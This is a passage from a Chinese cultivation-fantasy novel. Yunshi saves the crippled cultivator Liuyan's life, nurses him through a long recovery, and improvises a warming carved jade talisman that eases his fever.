高阶修士的强韧生命力在吊着这最后一口气,但也仅仅是吊着。云实能感觉到,流衍身上的生气正在像指间沙一样飞速流逝,那具破碎的身体里,灵力彻底溃散,更有一股阴冷死寂的、属于温言的可怕力量在伤口和经脉深处盘踞、侵蚀,如同最恶毒的跗骨之蛆,不断吞噬着所剩无几的生机。 不能等!等人来,流衍早就凉透了! 这个认知让云实不知从哪里生出一股力气。他挣扎着,用尚且完好的左手和膝盖,一点点蹭到流衍身边。每动一下,都牵扯着体内的伤势,眼前阵阵发黑,冷汗混着血水涔涔而下。但他不管,靠近了,颤抖的手指搭上流衍冰冷的手腕。 触感一片混乱。经脉像被暴风肆虐过的河床,处处是淤塞和诡异的“凝结点”,灵力乱流中夹杂着那股冰冷的湮灭气息。而最深处的丹田……云实的心沉到谷底。流衍的本命内丹,那颗本该温润稳定、提供生生不息灵力的核心,此刻布满了细密的裂痕,光芒黯淡至极,更麻烦的是,内丹核心处,以及几条主要经脉的枢纽位置,都粘连着丝丝缕缕灰暗的、不断散发着湮灭波动的病灶。不把这些东西挖出来,流衍的身体就是一座不断漏水的破船,任何输入的能量都会被污染、被消耗,根本撑不到修复肉身。 挖出来…… 云实看着流衍平静得近乎安详的苍白面容,手抖得更厉害了。稍有不慎,可能就是彻底断绝根基。 但没有选择了。 他小心地挪动流衍,让其平躺。左手掌心按在流衍气海上方,没有立刻深入,而是先将自己所剩无几、同样混乱但本质更偏向“无序扰动”的灵力,化作无数比发丝还要纤细的探针,小心翼翼地向流衍丹田深处探去。 他的意识附着在每一丝灵力上,如同最高明的匠人在处理最脆弱的琉璃。他看到了那颗布满裂痕、被灰暗病灶缠绕的内丹。不能全部毁掉,必须保住最核心的一点本源灵光。他的灵力探针避开主要的丹体裂痕,像最灵巧的刻刀,又像最无情的挖掘器,沿着病灶与内丹本体那模糊的、几乎长在一起的交界处,一点点地、极其缓慢地切割、剥离。 每剥离一丝灰暗,流衍的身体就细微地抽搐一下,即便在深度昏迷中,痛苦依然直达神魂。云实额头的汗珠大颗大颗滚落,混着血滴在流衍衣襟上。他自己的伤势也在沸腾,嘴角不断有血沫溢出,但他全部心神都沉浸在那方寸之间的手术中。 剥离内丹核心处的病灶最为凶险,几乎是在刀尖上跳舞。终于,一小团浑浊的、不断散发湮灭气息的灰暗物质,被他的灵力小心翼翼地从内丹上撬了下来。紧接着,是几处主要经脉枢纽上的凝结点。这个过程更加繁琐,需要顺着经脉走向,将那些如同毒藤般缠绕的灰暗能量一丝丝抽离,还不能伤及本就脆弱不堪的经脉壁。 时间仿佛失去了意义。不知过了多久,云实左手掌心上方,悬浮着几团指甲盖大小、令人望之生畏的灰暗能量团,正是从流衍体内挖出的病灶。而流衍的丹田和经脉,虽然依旧破败不堪,内丹也缩小黯淡了一圈,但那种不断散发死亡侵蚀的感觉终于消失了。生机流逝的速度,肉眼可见地减缓了。 但这还不够。流失的生机需要补充,破碎的躯体需要暂时稳住。 云实收回左手,那几团灰暗能量被他用残余的乱力强行压缩、封禁在一小片撕裂的衣角里,远远丢开。他再次将手掌贴上流衍心口,这次不再是剥离,而是灌注。他将自己体内所剩的灵力缓缓渡了过去。这就像在干涸龟裂的土地上注入微不足道的清水,杯水车薪,但至少能让那一点生命之火,不再那么急速地黯淡下去。 他做得专注,以至于没发现妹妹云舒是什么时候挣脱了吓坏了的父母,红着眼圈、咬着嘴唇,看了这惨烈的一幕后,扭头就朝着栖霞镇的方向发足狂奔。 直到云实自己也因为过度消耗和伤势,眼前再次阵阵发黑,几乎要伏倒在流衍身上时,一股清冽而磅礴的灵力,如同雪山融化的溪流,却又带着不容置疑的威严,从天而降,瞬间笼罩了这片空地。 天蕴到了。 她依旧是那身素净的掌门常服,只是脸上带着罕见的急色与风尘。云舒被她提在手中,小脸煞白,显然是被带着高速飞遁而来。天蕴一眼扫过现场,看到流衍的惨状和云实摇摇欲坠却仍在强行渡气的样子,瞳孔猛地一缩,但手上动作却快到了极致。 她先将云舒轻轻放到一边,一步便跨到两人身前。 “松手,稳住你自己!”她对云实低喝,声音带着不容抗拒的力量。 云实如释重负,又像是最后一丝力气被抽走,手一软,瘫倒在地,只能眼睁睁看着。 天蕴双手虚按在流衍身体上方,指尖流淌出柔和却无比凝实的青色光华。那光华如同有生命般,分成数股,一股直接笼罩流衍头颅,护住识海心脉;一股没入胸口,开始梳理那塌陷错乱的骨骼,将其一点点归位、接续;更多的则渗透进四肢百骸,精准地找到内脏的破裂处,以灵力为针,以生机为线,进行着超乎想象的细微缝合与温养。 她的额头也渐渐见了汗,显然这急速而精细的救治,对她也是极大的消耗。流衍的伤势太重了,不仅仅是肉身,本源、神魂都遭受重创。 “愣着干什么?!”天蕴忽然厉声对瘫在地上的云实喝道,“你的灵力特性特殊,能扰动也能安抚那残留的异种气息!配合我,引导我的灵力深入他经脉细微处,驱逐最后一点湮灭余毒!快!” 云实猛地一凛,挣扎着再次坐起,不顾五脏六腑移位的痛楚,将最后一点清醒的意识与残存的力量凝聚,化作最细微的引导,配合着天蕴那磅礴而精妙的灵力,如同最耐心的清道夫,在流衍千疮百孔的经脉与脏腑中,进行最后的清理与修复。 两人都没有说话,只有灵力流转的微光与急促的呼吸声。 不知过了多久,当天蕴脸色也有些发白,云实几乎要再次晕厥时,流衍那一直微弱得几乎察觉不到的呼吸,终于变得稍微平稳、悠长了一些。虽然依旧气若游丝,虽然脸色依旧惨白如死人,虽然那身修为恐怕十不存一,但至少,那不断滑向死亡深渊的趋势,被硬生生地、暂时地拉住了。 天蕴缓缓收手,长吁一口气,看了一眼同样脱力倒下的云实,又看了看昏迷不醒的流衍,眼中闪过复杂的情绪,最终化为一片沉凝。 “立刻带回宗门静室。这里不能再留。”她言简意赅,挥手间,柔和的力量托起流衍和云实,另一只手拎起云舒,化作一道青光,冲天而起,迅速消失在界碑林上空。 26. 【二十三】 界碑林的边缘,那间自己一砖一瓦垒起来、又眼睁睁看着成为战场废墟的小木屋,云实终究还是把它重新修葺了。木头换了新的,阵法重新刻过,比之前更结实,也更沉默。流衍被天蕴用一顶不起眼的青布小轿悄悄送来时,屋前新翻的土还没完全踏实,带着雨后的湿润气息。 流衍是醒着的,但那种醒,和睡着了也没什么分别。他靠在轿厢里,脸色是一种失血的苍白,近乎透明,眼睫垂着,只有胸口极其微弱的起伏证明他还活着。天蕴亲自扶他出来,动作轻得像是怕碰碎一件琉璃器。云实站在门口,手指无意识地抠着门框上新刨出来的木刺,看着流衍那双曾经握剑、布阵、也曾笨拙地抚过他脸颊的手,此刻软软地垂在身侧,裹在素白的衣袖里,了无生气。 天蕴把流衍安置在里屋那张铺了厚厚褥子的床上,仔细掖好被角,才直起身,看向一直沉默的云实。她的眼神里有疲惫,有关切,还有一种云实看不懂的、深重的无奈。 “外伤和内腑的损伤,我与几位长老合力,勉强稳定了。”天蕴的声音压得很低,像是怕惊扰了什么,“骨头接上了,但经络……尤其是丹田和金丹的根基,被温言伤得太彻底。” 云实喉咙发干,点了点头。 “所以……”他听到自己的声音沙哑。 “所以,他可能……再也无法像以前那样修炼了。”天蕴顿了顿,似乎在斟酌词句,“金丹虽未彻底碎裂,但已布满裂痕,灵韵流失殆尽,近乎死寂。周身主要经脉多处断裂、萎缩,灵力无法通行。他现在……比未曾引气入体的凡人,或许还要虚弱些。能醒过来,已是万幸,多亏了你当时处理得及时,也幸亏他自己……求生之念极强。” “宗门里……是不是有闲话了?”云实忽然问,目光从流衍苍白的脸上移开,看向天蕴。他知道天蕴扛着压力。 天蕴沉默了片刻,没有否认:“总有些声音。不过不必理会。我既坐在这个位子上,这点事还压得住。你们安心在此养伤便是。” 但云实看到了她眼下的青影,也记得纸鸢上次悄悄来送药材时,欲言又止提过的“几位长老颇有微词”。他不能一直躲在别人的庇护下,尤其是天蕴的。她已经帮得够多了。 “等他再好一点,稳住了,”云实说,语气平静,却带着不容更改的决断,“我自己照顾他。” “好。这里终究人多眼杂。需要什么,随时让纸鸢传讯给我。疗伤温养的丹药,我会定期让人送来。”她走到门口,又停下,“云实,温言那边……他伤得也不轻,短期内应该不会再有动作。但你弟弟云岭……” 云实的拳头猛地攥紧,木刺扎进掌心,细微的刺痛让他保持清醒。 “我知道。” 那是另一道血淋淋的伤口,此刻却只能暂时捂住。 天蕴离开了。小院里只剩下风吹过新栽的、还显得孱弱的竹叶的沙沙声,以及屋里流衍微弱到几乎听不见的呼吸声。 云实在门口站了很久,直到暮色四合,才转身进屋。 照顾一个重伤濒废的人,是极其磨人的。流衍时醒时睡,醒着的时候也大多沉默,眼神空茫地望着屋顶的椽子,或者闭着眼,不知是睡了还是没睡。他无法自主进食,开始只能靠天蕴留下的灵药丹液吊着。云实一点点学着喂他,用软布蘸着温水润他的唇,用特制的小勺将碾磨得极细的米粥和药汁慢慢渡进去,生怕呛着他。流衍很配合,或者说,他根本无力反抗,喂什么便吞咽什么,像一个没有灵魂的精致偶人。 清洗、擦身、换药、处理秽物……这些活计云实做得沉默而熟练。早在天衡宗那段时间,流衍伤势最重、连翻身都需人协助时,他便已将这些琐碎又必需的日常照护刻进了骨子里。此刻,他挽起袖子,打来烧好的热水,用柔软的棉布浸湿拧干,一寸寸擦拭流衍消瘦的身体。曾经匀称有力的肌肉如今萎缩,皮肤下的骨骼清晰可辨,尤其是双臂和胸口,虽然外表已愈合,但内里的创伤触目惊心。云实的手指很稳,动作尽可能轻缓,但每当触及那些狰狞的旧伤疤时,他的指尖还是会难以抑制地微微颤抖。 流衍大多数时候没什么反应,任由他摆布。只有偶尔,当云实擦拭到他肋下某处旧伤时,他的睫毛会剧烈地颤动一下,喉间发出一点几不可闻的吸气声。云实便会立刻停下来,等那阵似乎源于遥远记忆的痛楚过去,再更轻地继续。 说话是另一种煎熬。云实搜肠刮肚地想找些话说,说说天气,说说纸鸢新送来的布料花样,说说小院里那几株半死不活的花草……可他说着说着,就觉得自己愚蠢透顶。这些琐碎,对流衍来说算什么?他该说什么?道歉吗?说“对不起都是为了我”?这话太轻,也太虚伪,说出来连自己都觉得恶心。安慰吗?说“你会好起来的”?连天蕴都说了“不可逆”,他拿什么去骗人,又凭什么去骗? 于是,更多的时候,屋子里只有压抑的寂静,只有水声、布料摩擦声、和两个人交错的呼吸声。 打破这种寂静的,是流衍第一次试图自己抬手。那是在他回到小木屋大约半个月后。一个午后,阳光透过窗棂,在地上投出暖洋洋的光斑。云实正坐在床边矮凳上,低头缝补自己的旧衣,肘部磨破了。缝补能让他心静,一针一线,实实在在。 他听见布料窸窣的声音,抬头,看见流衍的眼睫在颤动,然后,那搁在身侧的、苍白的手指,极其缓慢地、带着肉眼可见的颤抖,曲起了一点点,似乎想要抓住身上的薄被。那动作如此吃力,仿佛手指有千钧重。只是弯曲指节这么一个简单的动作,他的额角就渗出了细密的冷汗,呼吸也急促起来。 云实立刻放下手里的针线,想伸手去帮他,却又在半空停住。他看见流衍眼中那一闪而逝的、近乎执拗的微光。那是不甘,是挣扎,是属于流衍自己的意志。 手指颤抖着,一点点抬高,离被面还有寸许距离,却像耗尽了所有力气,猛地一松,跌落回去,发出沉闷的轻响。流衍闭上了眼睛,胸口剧烈起伏了几下,然后归于更深的沉寂,只有那微微汗湿的鬓角,泄露了他刚才的努力和失败。 云实的心像是被那只无力跌落的手狠狠攥了一把,酸胀得发疼。他默默地看着,没有出声安慰,也没有伸手。直到流衍的呼吸重新平缓下来,他才拿起一旁温着的布巾,轻轻拭去他额角的汗,又掖了掖被角。 那天之后,流衍沉默的时间更长了。但云实偶尔会发现,在他以为流衍睡着的时候,那双眼睛是睁着的,静静望着自己的手,或者望着窗外一小片天空,眼神里空茫茫一片,什么情绪也读不出来,却比任何痛哭嘶吼更让云实感到窒息。 纸鸢每隔五六天会来一次,有时带着新鲜的食材和药材,有时只是坐坐。她从不空手来,也从不刻意说什么宽慰的话,只是利落地帮忙收拾一下屋子,检查一下物资,然后告诉云实一些外面的消息:天蕴掌门又压下了哪边的质疑;四明宗似乎在重新评估非正统路径的风险,态度暧昧;她自己的生意在栖霞镇和附近几个小镇慢慢铺开,还算顺利;温言那边暂时没有新动静,据说闭门养伤,他弟弟云岭在户部的差事倒是做得“颇为出色”…… 说到云岭时,纸鸢会小心地看一眼云实的脸色。云实通常只是听着,点点头,不置一词。那是他心里一根拔不掉的刺,一动就鲜血淋漓,但此刻,他必须让它留在那里,先顾好眼前的人。 有一次,纸鸢带来了一小包糖,是青石镇老字号的口味。 “给你甜甜嘴,”她塞给云实,语气寻常,“也别整天苦着个脸,流衍师兄看了,心里更不好受。” 云实捏着那包糖,没说话。晚上,他烧了点水,化开一小块糖,等水温了,用勺子一点点喂给流衍。糖水的甜味很淡,流衍慢慢地咽下去,一直没什么表情的脸上,眉头似乎几不可察地松了一瞬。很短暂,但云实捕捉到了。那天夜里,云实自己含了一小块糖在嘴里,甜意丝丝化开,却压不住心底漫上来的、更为复杂的酸楚。 流衍的身体在丹药和精心照料下,以极其缓慢的速度恢复着。至少,他不再动不动就昏睡不醒,清醒的时间变长了。一个月后,他能在云实的搀扶下,勉强靠着床头坐一会儿。只是坐起来这么个动作,就让他脸色发白,虚汗淋漓,需要休息很久才能缓过来。 他开始尝试说话。最初只是极其简单的音节,气若游丝。云实必须凑得很近才能听清。 “水……” “嗯。” “谢……” “不用。” 对话简短到极致。流衍似乎耗尽所有力气,才能挤出几个字。云实则用最直接的动作回应。他们之间形成了一种奇特的默契,不需要太多言语,一个眼神,一个细微的动作,云实就知道他需要什么。 有一天下午,流衍靠着床头,云实坐在床边,正小心地给他按摩萎缩得厉害的小腿肌肉,促进气血流通。按摩需要力度,但又不能太重,云实全神贯注,额角也沁出汗来。 “云实。”流衍忽然叫他的名字,声音依旧低弱,但清晰了些。 云实手下动作一顿,抬起头。 流衍看着他,目光平静,甚至过于平静了。“别……白费力气了。”他说得很慢,一字一顿,“我知道……我……废了。” 云实的心脏像被冰锥刺中,骤然一缩。他张了张嘴,想反驳,想说“不会的”、“还有希望”,可所有的话都堵在喉咙里,一个字也吐不出来。 他避开流衍的目光,手下继续按摩的动作,力道有些失控,捏得流衍肌肉一颤。云实立刻松了劲,低着头,声音哑得厉害:“……总得试试。” 流衍没再说话,只是重新闭上了眼睛。 那天之后,云实更加沉默。他把所有的时间精力都劈成了三份,每一份都沉甸甸地压在他日渐消瘦的肩头。 最大的一份,自然是照顾流衍。那是一场看不到尽头的、与衰弱和死寂的拉锯战,耗费心神,却不容半分松懈。 其次,便是维系这个小院的生存,以及……赚钱。 流衍每日所需的温养丹药,哪怕天蕴会定期送来一部分,也远非免费,好些珍稀药材需要他贴补差价。更现实的是,远在栖霞镇的父母和妹妹,也需要接济。云岭那次闹翻之后,家中境况他不敢深想,但无论如何,他不能真的撒手不管。银钱,成了比灵力更紧缺的东西。 他唯一的指望,就是纸鸢。两人之间的合作,在他回到小木屋后便迅速敲定。云实没有别的本钱,只有这双还算灵巧的手,和那些在绝境中被逼出来、又在大自在天和温府被半是强迫半是自学磨出来的、关于“织理”与灵力引导的知识。 小木屋的堂屋,一半成了作坊。纸鸢定期送来大批量便宜的、耐折腾的棉麻坯布,还有各色丝线。云实的工作,就是在这些布料上。以刺绣或特殊印染的方式,附加上他琢磨出的纹样。 这些纹样功能各异:有的能加强布料的韧性和耐磨,适合做苦力的短打;有的能略微调节温度,让夏衣更透气,冬衣更聚暖;最复杂的一种,则是在关键部位形成极其微弱的缓冲结构,聊胜于无,但卖给那些走南闯北、刀头舔血的低阶散修或护卫,却颇受欢迎。 云实必须严格控制灵力的注入和纹样的复杂度,以保证效率和成功率。他往往天不亮就起身,先处理好流衍清晨的一应事宜,喂过药粥,便将人安顿在窗边能晒到太阳的躺椅上,然后自己便埋首在那张临时搭起的长案前,手指翻飞,针线穿梭,或执笔勾勒。灵力丝丝缕缕从指尖沁出,融入纹路,每一件成品完成,他额角都会多一层薄汗。这是实打实的消耗。 云舒时不时会从栖霞镇过来。她话不多,来了便挽起袖子帮忙。分线、理布、熨烫半成品,或是按照云实画出的简单图样进行最基础的刺绣填充。她手脚麻利,学得也快,更重要的是心细且耐得住枯燥。有她在,云实便能挤出更多时间处理核心的纹样绘制和最后的灵力注入环节,效率能提高不少。兄妹俩常常一整天也说不上几句话,屋里只有布料摩擦的窸窣声、针线穿过的细微声响,以及流衍偶尔压抑的咳嗽声。云实会留下一些成色最好、边角最整齐的布料,让云舒带回去给父母添置衣物,每次也都会塞给她一些散碎银两。 “哥,你自己留着用,流衍公子这边……”云舒总是推拒。 “拿着。”云实不容分说,语气平淡,“家里用度不能短。我这边,接了纸鸢的定金,周转得开。” 他从不问父母具体如何,云舒也极少主动提起,彼此心照不宣地维持着一种脆弱的平衡,直到那次云舒来,神情有些犹豫,在帮忙收拾完一批货后,终于低声开口:“爹娘……前些日子,跟着岭哥派去的人,搬走了。没回青石镇,像是往京城方向去了。” 云实正在给一件护臂做最后的收线,闻言,手指几不可察地顿了一下,针尖差点戳偏。他缓缓吸了口气,又慢慢吐出,将那一针稳稳地拉过去,才“嗯”了一声,表示知道了。 云舒看着他平静得过分的侧脸,想说什么,嘴唇动了动,最终只是道:“娘让我跟你说……他们年纪大了,想过点安稳日子。让你……别怪岭哥,也照顾好自己。” 安稳日子。云实心里咀嚼着这四个字,舌尖泛起一丝麻木的苦味。跟着那个被温言操控、视自己如洪水猛兽的弟弟去京城,仰人鼻息,就是安稳吗?或许是吧。至少不用担惊受怕,不用跟着他这个逆子颠沛流离,朝不保夕。 他能怪谁呢?怪父母选择看似更安全的路?怪弟弟攀上了高枝忘了本?还是怪自己没本事,护不住家人,反而成了拖累? “知道了。”他最终只是这样说,声音听不出什么波澜,“他们平安就好。”他顿了顿,抬起眼看向妹妹,目光里那份强压下去的混乱沉淀为更具体的担忧,“你一个人住,有没有被人为难?若是栖霞镇待着不顺心……纸鸢那边生意铺得开,正缺可靠的人手打理琐事。你心思细,手脚也利落,想去试试吗?总比你独自撑着强。” 云舒看着他哥眼下浓重的青黑和那双盛满疲惫却依旧为她思量的眼睛,心头暖涩交加,没有丝毫犹豫地点头:“我去。哥你放心,我能做好。” 那天之后,云实在作坊里待的时间更长了。除了完成纸鸢的订单,他开始挤出一切零碎时间,研究更复杂的纹样。他不再仅仅满足于那些实用的附魔,而是开始尝试将苏妄那些关于经络气血的碎片化歪理、自己从医书上看来的皮毛、以及对乱与序那点粗浅又独特的感知,强行揉捏在一起。他找来最廉价的空白兽皮或劣质绢布,用最普通的笔墨,一遍遍勾勒、涂改,试图设计出一种能更温和、更持久地刺激生机流动、甚至……或许能微弱地滋养受损根基的纹路。这纯粹是痴心妄想,每一次尝试都让他灵力枯竭、头痛欲裂,画出来的东西也杂乱无章,如同鬼画符。 但他停不下来。仿佛只有将自己彻底沉浸在针线、纹路、灵力消耗和这些渺茫到近乎可笑的研究里,他才能暂时忘记流衍日益沉默空洞的眼神,忘记父母离去的背影,忘记压在头顶的、名为温言和整个冰冷体系的巨大阴影。身体累到极致,脑子被琐碎和难题填满,心……或许就能麻木得不那么疼了。 小木屋里,日光移动,将伏案工作的清瘦身影和窗边躺椅上静默无声的人影拉长又缩短。空气中飘浮着棉麻纤维、药味、和墨线的淡淡气味。寂静,成了这里最沉重也最坚固的基调。他睡得很少,眼下的青黑越来越重。流衍有时在夜里醒来,会看到云实就趴在床边矮凳上,手里还攥着一块布或一本书,就那么睡着了,眉头即使在睡梦中也紧紧蹙着。烛火摇曳,在他清瘦了许多的脸上投下深深的阴影。 流衍只是看着,一动不动,眼神在昏暗中晦暗不明。 转折发生在一个沉闷的雨夜。夏末的雷雨来得猛烈,电光撕开夜幕,雷声震得小木屋微微发颤。流衍忽然发起低烧,呼吸变得急促,身体微微抽搐。云实被惊醒,一摸他的额头,烫得吓人,再探脉搏,乱得不成样子。 是旧伤反复?还是虚弱的身体扛不住季节交替?云实心里发慌,他手边的丹药都用得差不多了,天蕴上次送来的还没到时间。雨这么大,他无法立刻去求援。 “冷……”流衍在昏迷中无意识地呢喃,牙齿轻轻打颤。 云实翻出所有的被子给他盖上,又把自己的一件厚外袍也压上去,可流衍还是抖。他的脸色在闪电的青白光芒映照下,惨白如纸,嘴唇失去了最后一点血色。 云实站在床边,看着流衍痛苦蜷缩的样子,看着他在被褥下依旧止不住的颤抖,一股前所未有的暴戾和无力感冲上心头。凭什么?流衍做错了什么?他只不过是想保护自己!温言……还有这该死的世道! 他体内那股沉寂了许久的、属于苏妄的、混乱而暴烈的力量,忽然不受控制地躁动起来,沿着残破的经络奔涌,带来针扎般的刺痛和灼热。云实闷哼一声,扶住床柱,额头渗出冷汗。不行,不能在这里失控…… 就在这时,他手指碰到床头一件硬物——是流衍随手买来的旧物,一个很普通的、用来压平纸张的黄铜镇尺,不知怎么被带到了这里,一直扔在角落。冰凉的触感让他混乱的灵台微微一清。 他猛地想起什么,踉跄着扑到屋角的柜子前,翻找起来。很快,他找到了——几块零碎的、品质并不算好的空白玉简,还有一支刻针。这是之前他尝试记录自己对织理和灵力引导的一些胡思乱想时准备的,后来流衍出事,就丢下了。 他拿着玉简和刻针回到床边,盘膝坐下,强迫自己冷静。深呼吸,忽略体内乱窜的力量和心中的焦灼。他回忆流衍体内那些断裂、萎缩的经脉走向,回忆天蕴丹药中蕴含的温和生机药力是如何流淌的,回忆自己之前无数次徒劳探查时感受到的那片死寂中,是否曾有过极其微弱的、几乎不存在的“波动”…… 然后,他拿起刻针,将微薄的灵力灌注其中,开始在那空白玉简上刻画。他不是在刻录文字或功法,而是在编织。用刻针代替丝线,用玉简的灵质基底代替布料,将他所理解的、关于疏导、维系、温养的意念,结合他自身那斑杂的灵力特质,以一种近乎本能的、杂乱无章却又隐隐契合某种韵律的方式,刻画进去。 他刻得极其专注,忘记了时间,忘记了窗外的暴雨雷鸣,忘记了自身的疲惫和灵力透支的眩晕。指尖被刻针磨破,渗出血,混入那歪歪扭扭的刻痕里,他却浑然不觉。 当玉简上最后一点空白被凌乱的线条填满时,他体内那点可怜的灵力也彻底干涸,连带着苏妄留下的那股躁动力量都像是被抽空,陷入死寂。强烈的眩晕和空虚感海啸般袭来,他眼前发黑,耳中嗡鸣,刻针从完全脱力的手指间滑落,“嗒”的一声轻响砸在地上。 他急促地喘息着,冷汗瞬间湿透里衣,整个人像刚从水里捞出来,虚脱得几乎坐不住。但他强撑着没有倒下,颤抖着手,拿起那块刻满了血色纹路、触手微温的玉简。玉简上的刻痕毫无美感,甚至有些可怖,像是某种痛苦挣扎的凝结。 他挣扎着挪到床边,用尽最后一丝力气,小心地将玉简塞进流衍那只稍微能动的左手里,让他虚握着。他不知道这有没有用,甚至不清楚自己在做什么,只是凭着最后一点不肯放弃的执念,完成这个动作。 做完这一切,他再也支撑不住,身体一软,直接从凳子上滑倒在地,额头重重磕在床沿木板上,发出一声闷响。剧痛让他眼前金星乱冒,却连哼一声的力气都没有了。 他是被喉咙里火烧火燎的干渴和浑身散架般的酸痛唤醒的。天光已透过窗纸,泛着雨后的清白。他发现自己躺在地上,身上盖着那件他常穿的、洗得发白的旧外袍。而床上—— 流衍已经醒了,正静静地侧头看着他。脸色依旧苍白如纸,但眉宇间那层笼罩多日的死灰郁气,似乎被什么无形的东西擦淡了些许。他的眼神不再全然空洞,虽然依旧疲惫虚弱,却有了细微的焦距。最重要的是,他的左手,依然虚握着。指缝间,露出那块刻满杂乱血痕的玉简的一角。玉简本身的光泽似乎黯淡了不少,仿佛内里有什么东西被消耗了。 看到云实醒来,流衍的目光动了动,极缓地、极其艰难地,将握着玉简的手,向他这边挪动了微不可察的一点点距离。干裂的嘴唇微微开合,气若游丝,却清晰地问:“你……做了什么?” 云实爬起来,感到浑身酸痛,灵力空虚,但精神却有种奇异的振奋。他走到床边,先探了探流衍的额头,烧退了。再摸脉搏,虽然依旧微弱,但平稳了不少。 “我……我也不知道。”云实看着那块玉简,老实回答,声音干涩,“乱刻的……好像……有点用?” 流衍缓缓地、极其困难地抬起那只稍微好一点的左手,指尖颤抖着,碰了碰玉简。玉简上的刻痕依旧歪歪扭扭,毫无美感,甚至不符合任何已知的符文规范,但指尖传来的,是一种难以言喻的、温和的流动感。 “暖和。”流衍低声说,然后看向云实布满血丝的眼睛和指尖的伤痕,“你……一晚上没睡?” “嗯。”云实应了一声,随即反应过来,“你感觉怎么样?还冷不冷?难受吗?” 流衍摇了摇头,目光复杂地看着他,良久,才极轻地说了一句:“……傻子。” 云实怔了怔,看着流衍眼中那许久未见的、一丝极淡的、近乎柔软的情绪,鼻尖忽然一酸。他慌忙低下头,掩饰性地去收拾掉在地上的刻针和废弃的玉简碎屑。 “饿不饿?我去熬点粥。”他闷声说,不敢再看流衍。 “嗯。” 流衍的目光从玉简移到云实脸上。这张脸苍白憔悴,眼下乌青,嘴唇因为脱力和紧张而微微抿着,唯有一双眼睛,在疲惫深处还燃着一点不肯熄灭的微光。就是这个连最基础功法都学得磕磕绊绊、灵根诡异、半路出家的家伙,在灵力近乎干涸、自己都快倒下的时候,凭着一点不知从哪来的歪理和一股狠劲,弄出了这么个不伦不类却有效用的东西? 惊讶,甚至是一丝震撼,压过了身体的剧痛和心中的死寂。他知道云实有些奇特的手艺,在温府时似乎就钻研过结合灵力与实物,但他以为那最多是些精巧的辅助。眼前这玉简,再粗劣,也已触及了特殊消耗品的边缘,哪怕是最粗糙、最原始的那一种。这绝非寻常手艺人能做到的。 “你……”流衍的声音依旧虚弱,却带着前所未有的认真,他仔细打量着云实的眼睛,仿佛想从中找出些别的什么,“怎么想到的?又是……那种织布的法子?” 云实被他看得有些不自在,摇了摇头,又点了点头,自己也理不清:“说不清……就是觉得,玉的理和布的理或许有能通的地方?刻下去的时候,没想符文,就想怎么能让那点热乎气……不对,是那点活气,能留住,能慢点散出来,最好……能顺着你的气脉走一点点。” 他说得颠三倒四,全是直觉和比喻,没有任何术语。 流衍沉默了。这解释比玉简本身更“野路子”。 “很珍贵。”流衍最终低声说,手指收紧了些,感受着玉简残留的暖意,“这种引导和封存意念、辅助温养的法门……即便形制粗陋,思路也……”他顿了顿,不知该如何形容那混乱又有效的思路,“你自己……知道这意味着什么吗?” 云实愣了一下,茫然地眨了眨眼。意味着什么?意味着他昨晚没白累晕? 流衍看着他全然没有意识到自己可能触及了某种非常规技艺门槛的样子,一时无言。 又过了几日,在小木屋里那近乎凝滞的时光中,流衍的身体确实显出了一点微弱却实在的好转。他不再整日昏沉,清醒的时间多了起来,甚至能在云实的搀扶下,靠着垫高的被褥,勉强坐上一炷香的时间。窗外的阳光落在他依旧苍白瘦削的侧脸上,能映出一层极淡的、属于活人的光泽,不再像之前那样,仿佛一碰即碎的冰冷瓷器。 云实把这视为天大的进步,照料得愈发精心。那晚之后,他并未因首次尝试的粗陋和偶然性而却步,反而像是于混沌中抓住了一线微光,开始了更执拗的钻研。 第一次的成功混杂了鲜血、透支与强烈的心念,效果奇特却难以复刻。云实没有纠结于还原偶然,他换了个思路。 既然那歪扭的刻痕能起作用,说明这条路子本身是通的,关键在于如何走得更稳、更好。 他将那些廉价的空白玉简和刻针当成了新的布料与针线。白天忙完订单和照顾流衍的间隙,夜里就着一点如豆的灯光,他开始了笨拙却系统的试验。失败远比成功多。许多玉简刻完后毫无反应,或灵力迅速逸散;有些则纹路冲突,反而散发出令人不适的紊乱气息,被他立刻处理掉。 他的“作品”开始呈现出一种粗糙但趋于稳定的样貌。虽然依旧远谈不上精美,甚至有些纹路组合显得古怪,但至少,十次里面能有两三次,成功刻出能稳定散发温和暖意、对安抚心神和微弱滋养有明显效果的玉简了。他将这些成功品小心收好,替换下流衍手中那枚日渐黯淡的第一次作品。 同时,云实并未放下他与纸鸢合作的根基。研究玉简是攻坚,维持布料订单则是保底。他反而将从玉简研究中获得的一些关于灵力流转与稳定的新感悟,尝试着应用到布料纹样的改进上,使得那些“坳子布”的实用性能略有提升,在低阶修士和凡人护卫中口碑更佳。他还分出一部分心神,继续研究绣在贴身衣物上的、更为精细的温养纹路,希望为流衍提供多一重日常的养护。 日子依旧清苦,压力未曾稍减,但在这间简陋的小木屋里,在刻刀的细微声响与布料绵密的触感间,云实正用他最擅长的方式,一点点地、切实地开拓着局面,试图在那看似绝望的断壁残垣中,为他最重要的人,垒起一道或许微弱、却足够坚实的屏障。 流衍能坐起来后,沉默的时间似乎更长了。他常常望着自己放在薄被上、依旧绵软无力、微微颤抖的双手出神,眼神深幽,不知在想什么。云实忙进忙出时,总能感觉到那道目光静静地落在自己背上,带着一种沉甸甸的分量。 终于有一天下午,阳光正好,流衍忽然低声开口:“云实。” “嗯?”云实正在整理新送来的一批坯布,闻声回头。 “我想……试着运转一下心法。”流衍的声音很平静,甚至带着一丝刻意压抑的期待,“只一点点,看看……里面的情形。” 云实心里猛地一咯噔。天蕴仙尊上次临走时,曾私下对他千叮万嘱,流衍的丹田与金丹受损极重,经络更是脆弱如风中蛛丝,短期内绝不可妄动灵力,否则极易引起不可逆的二次创伤,甚至危及性命。这些日子,他连给流衍喂的丹药都尽量选择药性最温和、几乎无需灵力引导化开的种类。 “天蕴仙尊说……”云实下意识地想劝阻。 “我知道。”流衍打断他,目光却执拗地落在自己指尖,“但我自己的身体,我清楚。只是……内视一下,引一丝最微末的灵气游走最简单的周天,应该……无妨。总得知道,到底坏到了什么地步。” 云实看着他眼中那簇微弱却不肯熄灭的火苗,劝阻的话便堵在了喉咙里。他明白那种感觉,就像当初自己不甘于永远是个凡人,拼命想要抓住任何一点可能。沉默片刻,他放下手中的布料,走到床边,低声道:“那……你小心。一点点,就一点点。不舒服马上停下。” 流衍几不可察地点了点头,闭上双眼,长而密的睫毛在苍白的皮肤上投下淡淡的阴影。他调整着呼吸,试图进入那曾经如同呼吸般自然的内视状态。 